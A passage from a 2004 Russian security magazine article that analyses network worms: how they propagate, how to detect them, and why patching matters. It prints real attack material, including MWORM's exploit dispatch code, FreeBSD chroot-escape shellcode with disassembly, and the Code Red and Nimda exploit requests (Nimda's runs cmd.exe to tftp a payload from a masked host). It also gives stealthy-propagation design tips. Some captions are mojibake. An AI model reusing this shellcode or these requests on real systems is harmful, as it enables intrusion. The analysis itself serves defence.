среди которых в первую очередь следует выделить импорт данных из адресной книги Outlook Express или аналогичного почтового клиента, просмотр локальных файлов жертвы на предмет поиска сетевых адресов, сканирование IP-адресов текущей подсети и генерация случайного IP-адреса. Чтобы не парализовать сеть чрезмерной активностью и не отрезать себе пути к распространению, вирус должен использовать пропускные способности захваченных им информационных каналов максимум наполовину, а лучше десятую или даже сотую часть. Чем меньший вред вирус наносит сетевому сообществу, тем позже он оказывается обнаруженным и тем с меньшей поспешностью администраторы устанавливают соответствующие обновления.
79
безопасность Установив соединение с предполагаемой жертвой, червь должен убедиться в наличии необходимой ему версии программного обеспечения и проверить, нет ли на этой системе другого червя. В простейшем случае идентификация осуществляется через рукопожатие. Жертве посылается определенное ключевое слово, внешне выглядящее как безобидный сетевой запрос. Червь, если он только там есть, перехватывает пакет, возвращая инициатору обмена другое ключевое слово, отличное от стандартного ответа незараженного сервера. Механизм рукопожатия – это слабейшее звено обороны червя, конечно, при условии, что червь безоговорочно доверяет своему удаленному собрату. А вдруг это никакой не собрат, а его имитатор? Это обстоятельство очень беспокоило Роберта Морриса, и для борьбы с возможными имитаторами червь был снабжен механизмом, который по замыслу должен был в одном из семи случаев игнорировать признак червя, повторно внедрясь в уже захваченную машину. Однако выбранный коэффициент оказался чересчур параноическим, и уязвимые узлы инфицировались многократно, буквально киша червями, съедающими все процессорное время и всю пропускную способность сетевых каналов. В конечном счете, вирусная атака захлебнулась сама собой, и дальнейшее распространение червя стало невозможным. Чтобы этого не произошло, всякий червь должен иметь внутренний счетчик, уменьшающийся при каждом успешном расщеплении и при достижении нуля подрывающий червя изнутри. Так или приблизительно так устроен любой живой организм, в противном случае нашей биосфере давно бы наступил конец. А сеть Интернет как раз и представляет собой великолепную модель биосферы в натуральную величину. Поэтому, хотим ли мы того или нет, – программный код должен подчиняться объективным законам природы, не пытаясь идти ей наперекор. Это все равно бесполезно. Кстати говоря, анатомическая схема червя, описанная выше, не является ни общепринятой, ни единственной. Мы выделили в черве два основных компонента – голову и хвост. Другие же исследователи склонны рассматривать червя как организм, состоящий из пасти, именуемой непереводимым термином enabling exploit code (отпирающий эксплоитный код); механизма распространения (propagation mechanism) и полезной нагрузки (payload), ответственной за выполнение тех или иных деструктивных действий. Принципиальной разницы между различными изображениями червя, разумеется, нет, но вот терминологической путаницы предостаточно. Ëèñòèíã 1. Ïÿòü ãîëîâ ÷åðâÿ MWORM, ïîðàæàþùèå ìíîæåñòâî óÿçâèìûõ ñåðâèñîâ. Ïåðåä íàìè «øåÿ» ÷åðâÿ, êîòîðàÿ, ñîáñòâåííî, âñå ýòè ãîëîâû è äåðæèò, ñîâåðøàþùàÿ èìè âðàùàòåëüíûå äâèæåíèÿ è ïðè íåîáõîäèìîñòè èçðûãàþùàÿ îãîíü è ïëàìÿ... switch(Iptr->h_port) { case 80: //web hole Handle_Port_80(sock, ↵ inet_ntoa(sin.sin_addr),Iptr); break; case 21:
80
// ftp hole if (Handle_Port_21(sock, ↵ inet_ntoa(sin.sin_addr),Iptr))
{
pthread_mutex_lock(&ndone_mutex); wuftp260_vuln(sock, ↵ inet_ntoa(sin.sin_addr), ↵ Iptr); pthread_mutex_unlock(&ndone_mutex); } break;
}
case 111:
//rpc hole if (Handle_Port_STATUS(sock, ↵ inet_ntoa(sin.sin_addr),Iptr)) { pthread_mutex_lock(&ndone_mutex); // rpcSTATUS_vuln(inet_ntoa ↵ (sin.sin_addr), Iptr); pthread_mutex_unlock(&ndone_mutex); } break;
case 53:
//linux bind hole // Check_Linux86_Bind(sock, ↵ inet_ntoa(sin.sin_addr), ↵ Iptr->h_network); break;
case 515:
//linux lpd hole // Get_OS_Type(Iptr->h_network, ↵ inet_ntoa(sin.sin_addr)); // Check_lpd(sock,inet_ntoa ↵ (sin.sin_addr),Iptr->h_network); break;
default:
break;
Ëèñòèíã 2. Îäíà èç ãîëîâ ÷åðâÿ è åå äèçàññåìáëåðíûé ëèñòèíã íèæå /* break chroot and exec /bin/sh - dont use on an unbreakable host like 4.0 */ unsigned char x86_fbsd_shell_chroot[] = "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80" "\x31\xc0\x99" "\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd" "\x80\x54\x6a\x3d\x58\xcd\x80\x66\x68\x2e\x2e\x88\x54" "\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53" "\x53\xcd\x80\xe2\xf7\x88\x54\x24\x01\x54\x6a\x3d\x58" "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\x52\x51\x53\x53" "\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"; Ëèñòèíã 3. Äèçàññåìáëåðíûé ëèñòèíã îäíîé èç ãîëîâ ÷åðâÿ MWORM .data:0804F7E0 x86_fbsd_shell_chroot: .data:0804F7E0 xor eax, eax .data:0804F7E2 push eax .data:0804F7E3 push eax .data:0804F7E4 push eax .data:0804F7E5 mov al, 7Eh ; LINUX - sys_sigprocmask .data:0804F7E7 int 80h .data:0804F7E9 xor eax, eax .data:0804F7EB cdq .data:0804F7EC push 68h .data:0804F7EE mov ebx, esp .data:0804F7F0 push eax .data:0804F7F1 push ebx .data:0804F7F2 push ebx .data:0804F7F3 mov al, 88h ; LINUX - sys_personality .data:0804F7F5 int 80h .data:0804F7F7 push esp .data:0804F7F8 push 3Dh .data:0804F7FA pop eax ; LINUX - sys_chroot .data:0804F7FB int 80h .data:0804F7FD push small 2E2Eh .data:0804F801 mov [esp+2], .data:0804F805 mov ebx, esp .data:0804F807 push 0Ch .data:0804F809 pop ecx .data:0804F80A mov ebx, esp .data:0804F80C ; CODE XREF: .data:0804F813 j .data:0804F80C loc_804F80C: .data:0804F80C push 0Ch .data:0804F80E pop eax .data:0804F80F push ebx .data:0804F810 push ebx
dl
безопасность ; LINUX - sys_chdir .data:0804F811 .data:0804F813 .data:0804F815 .data:0804F819 .data:0804F81A .data:0804F81C ; LINUX - sys_chroot .data:0804F81D .data:0804F81F .data:0804F820 .data:0804F825 .data:0804F826 .data:0804F82B .data:0804F82D .data:0804F82E .data:0804F830 .data:0804F831 .data:0804F833 .data:0804F834 .data:0804F835 .data:0804F836 .data:0804F837 .data:0804F839 ; LINUX - sys_olduname .data:0804F83A .data:0804F83C .data:0804F83E ; LINUX - sys_exit .data:0804F840
int loop mov push push pop
80h loc_804F80C [esp+1], esp 3Dh eax
int push push inc push mov push mov push mov push push push push push pop
80h edx 68732F6Eh esp 6E69622Fh ebx, esp edx edx, esp ebx ecx, esp edx ecx ebx ebx 3Bh eax
int xor inc
80h eax, eax al
int
80h
dl
Борьба за территорию на выживание – Какой величины территорию должен контролировать каждый червь? – Это зависит от размеров червя. Френк Херберт, «Дюна»
Жизнь червя – это непрерывная борьба за свое существование. Однажды попав в Интернет, червь сталкивается с проблемами захвата системных ресурсов (пропитания), освоения новых территорий (поиска подходящих узлов для заражения), обороны от хищников и прочих «млекопитающих» (брандмауэров, антивирусов, администраторов и т. д.), попутно решая задачу внутривидовой конкуренции. В этой агрессивной среде выживает лишь хорошо продуманный и тщательно спроектированный высокоинтеллектуальный код. Подавляющее большинство червей умирает вскоре после рождения, и лишь считанным вирусам удается вспыхнуть крупной эпидемией. Почему? Из школьного курса биологии нам известно, что безудержный рост численности любой популяции всегда заканчивается ее гибелью, ведь питательные ресурсы отнюдь не безграничны. Предел численности червей естественным образом регулируется пропускной способностью интернет-каналов, емкостью оперативной/дисковой памяти и быстродействием процессоров. Влияние фактора скорости размножения на жизнеспособность вируса исследовалось еще в пионерских работах Ральфа Бургера. Уже тогда было ясно, что в принципе вирус может заразить все файлы локальной машины за один присест (про сетевых червей, в силу отсутствия последних, речь тогда попросту не шла), однако это сделало бы факт заражения слишком заметным, и тогда судьба вируса оказалась бы предрешена (паническое форматирование жесткого диска «на низком уровне», полная переустановка всего программного обеспечения, ну, в общем, вы меня понимаете). Кроме того, на чувственном уровне такой вирус попросту неинтересен. Рассмотрим крайний случай. Пусть наш вирус совершает единственный акт заражения в своей жизни. Тогда
№2(15), февраль 2004
рост численности популяции будет носить линейный характер, продолжающийся до тех пор, пока загрузка системы не превысит некоторую критическую величину, после которой скорость размножения вируса начнет неуклонно падать. В конце концов вирус сожрет все процессорные ресурсы, всю оперативную и всю дисковую память, после чего система окончательно встанет и процесс размножения прекратится. Впрочем, на практике до этого дело обычно не доходит, и владелец компьютера спохватывается куда раньше. Период, протекающий от момента первого заражения до момента обнаружения вируса по нетипичной активности системы, условимся называть латентным периодом размножения червя. Чем большее количество узлов будет заражено в течение этого времени, тем большие шансы на выживание имеет червь. Выбор правильной стратегии размножения на самом деле очень важен. Причина вымирания большинства червей как раз и заключается в непродуманном размножении. Чаще всего исходный червь расщепляется на два. Два новых червя, готовых к дальнейшему размножению. В следующем поколении этих червей будет уже четыре, затем восемь, потом шестнадцать, тридцать два и так далее по возрастающей… Наглядной физической демонстрацией этого процесса служит атомная бомба. И в том, и в другом случае мы имеем дело с цепной реакцией, отличительной особенностью которой служит ее взрывной характер. На первых порах увеличение численности вирусной популяции происходит так медленно, что им можно полностью пренебречь, но при достижении некоторой критической массы происходит своеобразный взрыв, и дальнейшее размножение протекает лавинообразно. Через короткий отрезок времени – дни или даже считанные часы – червь поражает практически все уязвимые узлы сети, после чего его существование становится бессмысленным, и он умирает, раздавленный руками недобрых администраторов, разбуженных часов эдак в пять утра (а черви, в силу всепланетной организации Интернет, имеют тенденцию совершать атаки в самое неудобное с физиологической точки зрения время). При условии, что выбор IP-адреса заражаемой жертвы происходит по более или менее случайному закону (а большинство червей распространяются именно так), по мере насыщения сети червем скорость его распространения будет неуклонно снижаться и вовсе не потому, что магистральные каналы окажутся перегруженными! Попробуйте сгенерировать последовательность случайных байт и подсчитайте количество шагов, требующихся для полного покрытия всей области от 00h до FFh. Очевидно, что за 100h шагов осуществить задуманное нам ни за что не удастся. Если только вы не будете жульничать, одни и те же байты будут выпадать многократно, в то время как другие останутся не выпавшими ни разу! И чем больше байт будет покрыто, тем чаще станут встречаться повторные выпадения! Аналогичным образом дело обстоит и с размножением вируса. На финальной стадии размножения полчища червей все чаще будут стучаться в уже захваченные компьютеры, и гигабайты сгенерированного ими трафика окажутся сгенерированными впустую.
81
безопасность
Механизмы распространения червей Дырами принято называть логические ошибки в программном обеспечении, в результате которых жертва приобретает возможность интерпретировать исходные данные как исполняемый код. Наиболее часто встречаются дыры двух следующих типов: ошибки переполнения буфера (buffer overflow) и ошибки фильтрации интерполяционных символов или символов-спецификаторов. И хотя теоретики от безопасности упорно отмахиваются от дыр как от досадных случайностей, нарушающих стройность воздушных замков абстрактных защитных систем, даже поверхностный анализ ситуации показывает, что ошибки проектирования и реализации носят сугубо закономерный характер, удачно обыгранный хакерами в пословице: «Программ без ошибок не бывает. Бывает – плохо искали». Особенно коварны ошибки переполнения, вызываемые (или даже можно сказать – провоцируемые) идеологией господствующих языков и парадигм программирования. Подробнее об этом мы поговорим в следующей статье этого цикла; пока же отметим, что ни одна коммерческая программа, насчитывающая более десяти-ста тысяч строк исходного текста, не смогла избежать ошибок переполнения. Через ошибки переполнения распространялись Червь Морриса, Linux.Ramen, MWorm, Code Red, Slapper, Slammer, Love San и огромное множество остальных менее известных вирусов. Список свежих дыр регулярно публикуется на ряде сайтов, посвященных информационной безопасности (крупнейший из которых – www.bugtraq.org) и на вебстраничках отдельных хакеров. Заплатки на дыры обычно выходят спустя неделю или даже месяц после появления открытых публикаций, однако в некоторых случаях выход заплатки опережает публикацию, т.к. правила хорошего тона диктуют воздерживаться от распространения информации вплоть до того, пока противоядие не будет найдено. Разумеется, вирусописатели ведут поиск дыр и самостоятельно, однако за все время существования Интернета ни одной дыры ими найдено не было. Слабые пароли – это настоящий бич всякой системы безопасности. Помните анекдот: «Скажи пароль! Пароль!»? Шутки шутками, но пароль типа «password» не так уж и оригинален. Сколько пользователей доверяют защиту системы популярным словарным словам (в стиле Супер-Ниндзя, Шварценеггер-Разбушевался и Шварценеггер-Продолжает-Бушевать) или выбирают пароль, представляющий собой слегка модифицированный логин (например, логин с одной-двумя цифрами на конце)? Про короткие пароли, пароли, состоящие из одних цифр, и пароли, полностью совпадающие с логином, мы вообще умолчим. А ведь немалое количество систем вообще не имеют никакого пароля! Существуют даже специальные программы для поиска открытых (или слабо защищенных) сетевых ресурсов, львиная доля которых приходится на локальные сети мелких фирм и государственных организаций. В силу ограни-
82
ченных финансов содержать более или менее квалифицированного администратора они не могут и о необходимости выбора надежных паролей, судя по всему, даже и не догадываются (а может быть, просто ленятся – кто знает). Первым (а на сегодняшний день и последним) червем, использующим механизм подбора паролей, был и остается Вирус Морриса, удачно комбинирующий словарную атаку с серией типовых трансформаций имени жертвы (исходное имя пользователя, удвоенное имя пользователя, имя пользователя, записанное задом наперед, имя пользователя, набранное в верхнем/нижнем регистре и т. д.). И эта стратегия успешно сработала! Червь Nimda использует намного более примитивный механизм распространения, проникая лишь в незапароленные системы, что удерживает его от безудержного распространения, поскольку пустые пароли занимают незначительный процент от всех слабых паролей вообще. Конечно, со времен Морриса многое изменилось, и в мире наблюдается тенденция к усложнению паролей и выбору случайных, бессмысленных последовательностей. Но вместе с этим растет и число пользователей, – администраторы оказываются просто не в состоянии за всеми уследить и проконтролировать правильность выбора пароля. Поэтому атака по словарю по-прежнему остается актуальной угрозой. Открытые системы: открытыми мы будем называть такие системы, которые беспрепятственно позволяют всем желающим исполнять на сервере свой собственный код. К этой категории преимущественно относятся службы бесплатного хостинга, предоставляющие telnet, perl и возможность установки исходящих TCP-соединений. Существует гипотетический вирус, который поражает такие системы одну за одной и использует их в качестве плацдарма для атаки на другие системы. В отличие от узлов, защищенных слабыми (отсутствующими) паролями, владелец открытой системы умышленно предоставляет всем желающим свободный доступ, пускай и требующий ручной регистрации, которую, кстати сказать, можно и автоматизировать. Впрочем, ни один из известных науке червей не использует этого механизма, поэтому дальнейший разговор представляется совершенно беспредметным. Человеческий фактор: о пресловутом человеческом факторе можно говорить много. Но не буду. Это вообще не техническая, а сугубо организационная проблема. Как бы не старалась Microsoft и конкурирующие с нею компании защитить пользователя от себя самого, не урезав при этом функциональность системы до уровня бытового видеомагнитофона, еще никому это не удалось. И никогда не удастся. Паскаль, известный тем, что не позволяет вам выстрелить себе в ногу, значительно уступает по популярности языкам Си и Си++, тем, которые отстреливают вам обе ноги вместе с головой в придачу, даже когда вы этого не планировали.
безопасность Для решения этой проблемы Червь Морриса использовал несколько независимых механизмов. Во-первых, из каждой зараженной машины он извлекал список доверенных узлов, содержащихся в файлах /etc/hosts.equiv и /.rhosts, а также файлы .forward, содержащие адреса электронной почты. То есть целевые адреса уже не были случайными – это раз. Отпадало большое количество несуществующих узлов – это два. Количество попыток повторного инфицирования сводилось к разумному минимуму – и это три. Подобную тактику используют многие почтовые черви, обращающиеся к адресной книге Outlook Express. И эта тактика очень неплохо работает! На сайте корпорации Symantec имеется любопытная утилита – VBSim (Virus and Worm Simulation System), выполняющая сравнительный анализ эффективности червей различных типов. Во-вторых, различные экземпляры Червя Морриса периодически обменивались друг с другом списком уже зараженных узлов, ходить на которые не нужно. Конечно, наличие каких бы то ни было средств межвирусной синхронизации существенно увеличивает сетевой трафик, однако если к этому вопросу подойти с умом, то перегрузку сети можно легко предотвратить. Заразив все уязвимые узлы, червь впадет в глубокую спячку, уменьшая свою активность до минимума. Можно пойти и дальше, выделив каждому из червей определенное пространство IP-адресов для заражения, автоматически наследуемое новорожденным потомством. Тогда процесс заражения сети займет рекордно короткое время, и при этом ни один из IP-адресов не будет проверен дважды. Исчерпав запас IP-адресов, червь обратит свои внутренние счетчики в исходное положение, вызывая вторую волну заражения. Часть ранее инфицированных узлов к этому моменту уже будет исцелена (но не залатана), а часть может быть инфицирована повторно. Как бы там ни было, грамотно спроектированный червь вызывать перегрузку сети не должен, и лишь досадные программистские ошибки мешают привести этот план в исполнение. Внешне такой червь может показаться вполне безопасным, и подавляющее большинство администраторов скорее всего проигнорируют сообщения об угрозе (ибо негласное правило предписывает не трогать систему, пока она работает). Дыры останутся незалатанными и… в один прекрасный момент всемирная сеть рухнет. В этом свете весьма показателен процесс распространения вируса Code Red, в пике своей эпидемии заразившего свыше 359 000 узлов в течении 24 часов. Как были получены эти цифры? Программа-монитор, установленная в локальной сети Лаборатории Беркли, перехватывала все проходящие через нее IP-пакеты и анализировала их заголовки. Пакеты, адресованные несуществующим узлам и направляющиеся на 80-й порт, были, очевидно, отправлены зараженным узлом (Code Red распространялся через уязвимость в MS IIS-сервере). Подсчет уникальных IP-адресов узлов-отправителей позволил надежно установить нижнюю границу численности
№2(15), февраль 2004
популяции вируса. При желании процесс расползания вируса по всемирной сети можно увидеть и в динамике – www.caida.org/analysis/security/code-red/newframessmall-log.mov. Там же, на странице http://www.caida.org/ analysis/security/code-red/coderedv2_analysis.xml, содержится текст, комментирующий происходящее зрелище. А зрелище и впрямь получилось впечатляющим и… поучительным. Всем, особенно разработчикам вирусов, настоятельно рекомендую посмотреть. Быть может это научит кое-кого не ронять сеть своим очередным… ммм… творением.
Ðèñóíîê 3. Çàâèñèìîñòü óäåëüíîé ñêîðîñòè ðàñïðîñòðàíåíèÿ ÷åðâÿ îò âðåìåíè. Ñíà÷àëà ÷åðâü ðàçìíîæàëñÿ êðàéíå ìåäëåííî, ìîæíî äàæå ñêàçàòü ëåíèâî. Âïðî÷åì, íà ïîðàæåíèå êëþ÷åâûõ íåðâíûõ öåíòðîâ ñåòè ó âèðóñà óøëî âñåãî íåñêîëüêî ÷àñîâ, ïî èñòå÷åíèè êîòîðûõ îí óñïåë îêêóïèðîâàòü ïðàêòè÷åñêè âñå ðàçâèòûå ñòðàíû ìèðà. Íàãðóçêà íà ñåòü ñòðåìèòåëüíî ðîñëà, îäíàêî ïðîâàéäåðû ñ ýòèì åùå ñïðàâëÿëèñü. Ïðèáëèçèòåëüíî ÷åðåç 12 ÷àñîâ, êîãäà ÷åðâü âñòóïèë âî âçðûâíóþ ñòàäèþ ñâîåãî ðàçìíîæåíèÿ, îáúåì ïåðåêà÷èâàåìîãî òðàôèêà ñêà÷êîîáðàçíî âîçðîñ â òûñÿ÷è ðàç, è áîëüøèíñòâî ñåòåâûõ ðåñóðñîâ îêàçàëîñü íåäîñòóïíî, ÷òî çàòîðìîçèëî ðàñïðîñòðàíåíèå ÷åðâÿ, íî áûëî óæå ïîçäíî, ò.ê. ëüâèíàÿ ÷àñòü óÿçâèìûõ ñåðâåðîâ ê òîìó âðåìåíè îêàçàëàñü ïîðàæåíà. Èñïåùðåííûé õàðàêòåð ñïàäà êðèâîé îòðàæàåò ïåðèîäè÷åñêîå ïîëåãàíèå ðàçëè÷íûõ ñåãìåíòîâ ñåòè Èíòåðíåò, çàãèáàþùèõñÿ îò ÷óäîâèùíîé íàãðóçêè, è èõ ìóæåñòâåííîå âîññòàíîâëåíèå ñàìîîòâåðæåííûìè àäìèíèñòðàòîðàìè. Âû äóìàåòå, îíè óñòàíàâëèâàëè çàïëàòêè? À âîò è íåò! ×åðåç ÷åòûðå ÷àñà, êîãäà âèðóñ îêîí÷èë ñâîå ðàñïðîñòðàíåíèå è ïåðåøåë ê ìàññèðîâàííîé àòàêå, íà êðèâîé íàáëþäàåòñÿ íåáûâàëûé âñïëåñê, ïî ñðàâíåíèþ ñ êîòîðûì ïðåäûäóùèé ïèê íå òÿíåò äàæå íà æàëêèé õîëìèê. 12 000 èñêàæàåìûõ âåá-ñòðàíèö çà ìèíóòó – ýòî ëè íå ðåçóëüòàò?!
83
безопасность Как обнаружить червя – Это знак червя? – Червь. И большой. Френк Херберт, «Дюна»
Грамотно сконструированный и не слишком прожорливый программный код обнаружить не так-то просто! Есть ряд характерных признаков червя, но все они ненадежны, и гарантированный ответ дает лишь дизассемблирование. Но что именно нужно дизассемблировать? В случае с файловыми вирусами все более или менее ясно. Подсовываем системе специальным образом подготовленные «дрозофилы» и смотрим, не окажется ли какая-то из них изменена. Хороший результат дает и проверка целостности системных файлов по заранее сформированному эталону. В операционных системах семейства Windows на этот случай припасена утилита sfc.exe, хотя, конечно, специализированный дисковый ревизор справится с этой задачей намного лучше. Черви же могут вообще не дотрагиваться до файловой системы, оседая в оперативной памяти адресного пространства уязвимого процесса. Распознать зловредный код по внешнему виду нереально, а проанализировать весь слепок памяти целиком – чрезвычайно трудоемкий и затруднительный процесс, тем более что явных команд передачи управления машинному коду червя может и не быть (подробнее см. раздел «Структурная анатомия червя»). Однако где вы видели вежливого и во всех отношениях корректного червя? Ничуть не собираясь отрицать тот факт, что среди червей попадаются и высокоинтеллектуальные разработки, созданные талантливыми и, бесспорно, профессиональными программистами, автор этой статьи вынужден признать, что все черви, выловленные в живой природе, содержали те или иные конструктивные огрехи, демаскирующие присутствие чего-то постороннего. Верный признак червя – большое количество исходящих TCP/IP-пакетов, расползающихся по всей сети и в большинстве своем адресованных несуществующим получателям. Рассылка пакетов происходит либо постоянно, либо совершается через более или менее регулярные и при том очень короткие промежутки времени, например, через 3 – 5 сек. Причем соединение устанавливается без использования доменного имени, непосредственно по IPадресу (внимание: не все анализаторы трафика способны распознать этот факт, поскольку на уровне функции connect соединение всегда устанавливается именно по IPадресам, возвращаемым функцией gethostbyname по их доменному имени). Правда, как уже отмечалось, червь может сканировать локальные файлы жертвы на предмет поиска подходящих доменных имен. Это может быть и адресная книга почтового клиента, и список доверенных узлов, и просто архив HTML-документов (странички со ссылками на другие сайты для HTTP-червей в высшей степени актуальны). Ну, факт сканирования файлов распознать нетрудно. Достаточно поместить наживку – файлы, которые при нормальных обстоятельствах никогда и никем не открываются (в т. ч. и антивирусными демонами установленными в системе), но с ненулевой вероятностью будут замечены и проглочены червем. Достаточно
84
лишь периодически контролировать время последнего доступа к ним. Другой верный признак червя – ненормальная сетевая активность. Подавляющее большинство известных на сегодняшний день червей размножаются с неприлично высокой скоростью, вызывающей характерный взлет исходящего трафика. Также могут появиться новые порты, которые вы не открывали и которые непонятно кто прослушивает. Впрочем, прослушивать порт можно и без его открытия – достаточно лишь внедриться в низкоуровневый сетевой сервис. Поэтому к показаниям анализаторов трафика следует относиться со здоровой долей скептицизма, если, конечно, они не запущены на отдельной машине, которую червь гарантированно не сможет атаковать. Третьим признаком служат пакеты с подозрительным содержимым. Под «пакетом» здесь понимаются не только TCP/IP-пакеты, но и сообщения электронной почты, содержащие откровенно «левый» текст (впрочем, червь может маскироваться и под спам, а тщательно исследовать каждое спаммерское письмо не хватит ни нервов, ни времени). Вот TCP-пакеты в этом смысле намного более предпочтительнее, поскольку их анализ удается автоматизировать. Что следует искать? Универсальных решений не существует, но кое-какие наметки дать все-таки можно. В частности, применительно к веб-серверам и запросам типа GET характерным признаком shell-кода являются: а) имена командных интерпретаторов (cmd.exe, sh), системных библиотек типа admin.dll и подобных им файлов; б) последовательность из трех и более машинных команд NOP, записываемая приблизительно так: %u9090; в) машинные команды CALL ESP, JMP ESP, INT 80h и другие подобные им (полный список занимает слишком много места и поэтому здесь не приводится); г) бессмысленные последовательности вроде .\.\.\ или XXX, используемые вирусом для переполнения. Однако не пытайтесь напрямую дизассемблировать двоичный код, содержащийся в пакете, выглядевшем как пакет, предназначенный для срыва стека и подрыва авторитета системы. Поскольку заранее неизвестно, на какой именно байт shell-кода передается управление, точку входа определить не так-то просто, и вовсе не факт, что ею окажется первый байт пакта или двоичного кода. И не возлагайте на авторизированный поиск большие надежды – он срабатывает далеко не всегда. Достаточно слегка зашифровать shell-код, и все признаки червя немедленно исчезнут. Впрочем, поскольку размер переполняемого буфера зачастую очень и очень мал, втиснуть в отведенный объем головы вируса еще и шифровщик не так-то просто. Во всяком случае тройка крупнейших червей легко обнаруживается автоматизированным анализом: и Code Red, и Nimda, и Slammer… Ëèñòèíã 4. Ãîëîâà ÷åðâÿ Code Red, ïðèõîäÿùàÿ â ïåðâîì TCPïàêåòå GET /default. ida? XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX
безопасность XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858 ↵ %ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00 ↵ %u531b%u53ff%u0078%u0000%u00= a HTTP 1.0 Content- type: text/ xml, Content- length: 3379 Ëèñòèíã 5. Ãîëîâà ÷åðâÿ Nimda GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/ c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll
Если червь содержит в себе незашифрованные текстовые строки (а многие из червей устроены именно так!), то злобный характер его натуры распознается уже при беглом просмотре HEX-кода исследуемого файла:
Ëèñòèíã 6. Ôðàãìåíò âèðóñà MWORM
Некоторые черви в целях уменьшения своих размеров и не в последнюю очередь маскировки, сжимаются тем или иным упаковщиком исполняемых программ, и перед анализом их необходимо распаковать.
Ëèñòèíã 7. Ôðàãìåíò âèðóñà Love San ïîñëå ðàñïàêîâêè
Ищите в дампе подозрительные сообщения, команды различных прикладных протоколов (GET, HELO и т. д.), имена системных библиотек, файлов-интерпретаторов, команды операционной системы, символы конвейера, доменные имена сайтов, обращение к которым вы не планировали и в чьих услугах судя по всему не нуждаетесь, IP-адреса, ветви реестра, ответственные за автоматический запуск программ и т. д. При поиске головы червя используйте тот факт, что shell-код эксплоита, как правило, размещается в секции данных и содержит легко узнаваемый машинный код. В частности, команда CDh 80h (INT 80h), ответственная за прямой вызов системных функций операционных систем семейства Linux, встречается практически во всех червях, обитающих на этой ОС. Вообще говоря, проанализировав десяток различных червей, вы настолько проникнетесь концепциями их устройства, что без труда распознаете знакомые конструкции и в других организмах. А заочно червей все равно не изучить.
Как побороть червя – Как же тогда справиться с червями? – Мне неизвестно оружие, кроме атомного, взрывчатой силы которого было бы достаточно для уничтожения червя целиком. Френк Херберт, «Дюна»
Гарантированно защититься от червей нельзя. С другой стороны, черви, вызвавшие крупные эпидемии, все до единого появлялись задолго после выхода заплаток, ата-
№2(15), февраль 2004
куя компьютеры, не обновляемые в течение нескольких месяцев или даже лет! В отношении серверов, обсуживаемых лицами, претендующими на звание «администратора», это, бесспорно, справедливая расплата за небрежность и бездумность. Но с домашними компьютерами не все так просто. У среднестатистического пользователя ПК нет ни знаний, ни навыков, ни времени, ни денег на регулярное выкачивание из сети сотен мегабайт Service Pack и зачастую устанавливающимся только после серии магических заклинаний и танцев с бубном. Неквалифицированные пользователи в своей массе никогда не устанавливали обновления и никогда не будут устанавливать. Важно понять, что антивирусы вообще не могут справиться с червями. В принципе. Потому что, исцеляя машину, они не устраняют брешь в системе безопасности, и вирус приползает вновь и вновь. Не стоит возлагать особых надежд и на брандмауэры. Да, они могут оперативно закрыть уязвимый порт или отфильтровывать сетевые пакеты с сигнатурой вируса внутри. При условии, что вирус атакует порт той службы, которая не очень-то и нужна, брандмауэр действительно действует безотказно (если, конечно, не может быть атакован сам). Хуже, если червь распространяется через такой широко распространенный сервис, как, например, WEB. Закрывать его нельзя и приходится прибегать к анализу TCP/IP-трафика на предмет наличия в нем следов того или иного червя, то есть идти по пути выявления вполне конкретных представителей кибернетической фауны. Хотя отдельные фирмы и предлагают высокопроизводительные аппаратные сканеры, построенные на программируемых логических устройствах, сокращенно именуемых PLD – от Programmable Logic Devices (www.arl.wustl.edu/ ~lockwood/publications/MAPLD_2003_e10_lockwood_p.pdf), в целом ситуация остается довольно удручающей, причем ни один из представленных на рынке сканеров не способен распознавать полиморфных червей, т.к. для осуществления этой операции в реальном времени потребуется весьма нехилые аппаратные мощности, и стоимость получившегося агрегата рискует оказаться сопоставимой с убытками, наносимыми самими червями (а в том, что такие черви когда-нибудь да появятся, сомневаться не приходится). Впрочем, программные сканеры сокращают пропускную способность системы еще больше… Жестокая, но зато кардинальная мера – заблаговременно создать слепок операционной системы вместе со всеми установленными приложениями и в ответственных случаях автоматически восстанавливать один раз в сутки или, по крайней мере, один раз в месяц. В частности, в операционных системах семейства NT это можно сделать с помощью штатной программы backup и встроенного планировщика. Правда, если червь поражает пользовательские файлы (например, файлы документов, письма электронной почты, скачанные вебстранички и т. д.), это ничем не поможет. Теоретически факт искажения пользовательских файлов могут выявить ревизоры и системы контроля версий, практически же они с трудом отличают изменения, вызванные вирусом, от изменений сделанных самых пользовате-
85
безопасность лем. Но не будем забывать о возможности подложить вирусу дрозофилу, целостность которой мы и будем время от времени контролировать.
Заключение На самом деле, это еще не конец статьи, и в следующем номере мы подробно рассмотрим механизм переполнения буфера, технику выявления уязвимых программ и некоторые способы защиты. 1
По отношению к Windows NT это не так, и всякий код, который только можно прочитать, по умолчанию можно и исполнить.
Ðèñóíîê 4. Òàê ìîæåò âûãëÿäåòü àïïàðàòíûé àíàëèçàòîð òðàôèêà
